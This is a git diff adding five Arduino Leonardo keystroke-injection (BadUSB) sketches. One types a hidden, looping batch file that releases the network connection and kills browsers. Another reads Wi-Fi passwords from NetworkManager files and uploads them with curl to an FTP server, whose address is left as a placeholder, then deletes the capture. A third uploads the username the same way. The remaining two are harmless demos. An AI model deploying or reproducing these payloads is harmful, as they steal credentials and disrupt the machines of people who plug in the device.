diff --git a/atmega32u4_arduino_leonardo/deny_net_access/deny_net_access.ino b/atmega32u4_arduino_leonardo/deny_net_access/deny_net_access.ino new file mode 100644 index 0000000..57d9c16 --- /dev/null +++ b/atmega32u4_arduino_leonardo/deny_net_access/deny_net_access.ino @@ -0,0 +1,67 @@ +#define kbd_es_es +#include + +void setup() { + Keyboard.begin(); +} + +void loop() { + delay(5000); + CommandAtRunBarMSWIN("cmd /Q /D /T:7F /F:OFF /V:OFF /K"); + delay(5000); + + //// A Different directory in case the second one is inaccessable //// + Keyboard.println("cd %userprofile%\\Downloads\\"); + delay(2000); + // Keyboard.println("cd C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\"); + // delay(2000); + ////////////////////////////////////////////////////////////////////// + + Keyboard.println("erase /Q a.bat"); + delay(2000); + Keyboard.println("copy con a.bat"); + delay(2000); + Keyboard.println("@echo off"); + delay(2000); + Keyboard.println(":Start"); + delay(2000); + Keyboard.println("ipconfig /release"); + delay(2000); + Keyboard.println("taskkill /f /im \"iexplore.exe\""); + delay(2000); + Keyboard.println("taskkill /f /im \"firefox.exe\""); + delay(2000); + Keyboard.println("taskkill /f /im \"chrome.exe\""); + delay(2000); + Keyboard.println("timeout /t 60"); + delay(2000); + Keyboard.println("Goto Start"); + delay(2000); + Keyboard.press(KEY_LEFT_CTRL); + Keyboard.press('z'); + delay(100); + Keyboard.releaseAll(); + delay(2000); + Keyboard.press(KEY_RETURN); + delay(100); + Keyboard.releaseAll(); + delay(2000); + Keyboard.println("erase /Q invis.vbs"); + delay(2000); + Keyboard.println("copy con invis.vbs"); + delay(2000); + Keyboard.println("CreateObject(\"Wscript.Shell\").Run \"\"\"\" & WScript.Arguments(0) & \"\"\"\", 0, False"); + delay(2000); + Keyboard.press(KEY_LEFT_CTRL); + Keyboard.press('z'); + delay(100); + Keyboard.releaseAll(); + delay(2000); + Keyboard.press(KEY_RETURN); + delay(100); + Keyboard.releaseAll(); + delay(2000); + Keyboard.println("wscript.exe invis.vbs a.bat"); + Keyboard.println("exit"); + while(1); +} diff --git a/atmega32u4_arduino_leonardo/gnome_exfil_wifi_creds/gnome_exfil_wifi_creds.ino b/atmega32u4_arduino_leonardo/gnome_exfil_wifi_creds/gnome_exfil_wifi_creds.ino new file mode 100644 index 0000000..99fc02d --- /dev/null +++ b/atmega32u4_arduino_leonardo/gnome_exfil_wifi_creds/gnome_exfil_wifi_creds.ino @@ -0,0 +1,18 @@ + +#include +#define kbd_es_es + +void setup() { + Keyboard.begin(); +} + +void loop() { + delay(5000); + CommandAtRunBarGnome("gnome-terminal"); + delay(3000); + Keyboard.println("cd /etc/NetworkManager/system-connections; grep psk= *|paste -sd,>~/capture.txt; cd ~; export xfile='capture.txt'; export ftpuser='USERNAME'; export ftppass='PASSWORD'; export xip='IPSERVERFTP'"); + delay(3000); + Keyboard.println("curl -T ${xfile} ftp://${ftpuser}:${ftppass}@${xip}/${xfile}; rm capture.txt; exit"); + delay(5000); + while(1); +} diff --git a/atmega32u4_arduino_leonardo/gnome_ftp_exfiltrate/gnome_ftp_exfiltrate.ino b/atmega32u4_arduino_leonardo/gnome_ftp_exfiltrate/gnome_ftp_exfiltrate.ino new file mode 100644 index 0000000..bd19ecd --- /dev/null +++ b/atmega32u4_arduino_leonardo/gnome_ftp_exfiltrate/gnome_ftp_exfiltrate.ino @@ -0,0 +1,20 @@ +#include +#define kbd_es_es + +void setup() { + Keyboard.begin(); +} + +void loop() { + delay(5000); + CommandAtRunBarGnome("gnome-terminal"); + delay(3000); + Keyboard.println("export xfile='LinuxUser.txt'; export ftpuser='USERNAME'; export ftppass='PASSWORD'; data=\"$(whoami)\"; echo ${data}>${xfile}; export xip='IPSERVERFTP'"); + delay(3000); + Keyboard.println("curl -T ${xfile} ftp://${ftpuser}:${ftppass}@${xip}/${xfile}"); + delay(7000); + Keyboard.println("rm LinuxUser.txt"); + delay(2000); + Keyboard.println("exit"); + while(1); +} diff --git a/atmega32u4_arduino_leonardo/windows_example_simple_bat/windows_example_simple_bat.ino b/atmega32u4_arduino_leonardo/windows_example_simple_bat/windows_example_simple_bat.ino new file mode 100644 index 0000000..ea0af0f --- /dev/null +++ b/atmega32u4_arduino_leonardo/windows_example_simple_bat/windows_example_simple_bat.ino @@ -0,0 +1,26 @@ +#include +#define kbd_es_es + +void setup() { + Keyboard.begin(); +} + +void loop() { + delay(5000); + CommandAtRunBarMSWIN("cmd"); + delay(3000); + Keyboard.println("echo @echo off>>example.bat"); + delay(2000); + Keyboard.println("echo color 2a>>example.bat"); + delay(2000); + Keyboard.println("echo mode con cols=50 lines=10>>example.bat"); + delay(2000); + Keyboard.println("echo title Hello>>example.bat"); + delay(2000); + Keyboard.println("echo echo Hello World>>example.bat"); + delay(2000); + Keyboard.println("echo pause>>example.bat"); + delay(2000); + Keyboard.println("example.bat"); + while(1); +} diff --git a/atmega32u4_arduino_leonardo/windows_example_simple_osk/windows_example_simple_osk.ino b/atmega32u4_arduino_leonardo/windows_example_simple_osk/windows_example_simple_osk.ino new file mode 100644 index 0000000..3d59624 --- /dev/null +++ b/atmega32u4_arduino_leonardo/windows_example_simple_osk/windows_example_simple_osk.ino @@ -0,0 +1,12 @@ +#include +#define kbd_es_es + +void setup() { + Keyboard.begin(); +} + +void loop() { + delay(5000); + CommandAtRunBarMSWIN("osk"); + while(1); +}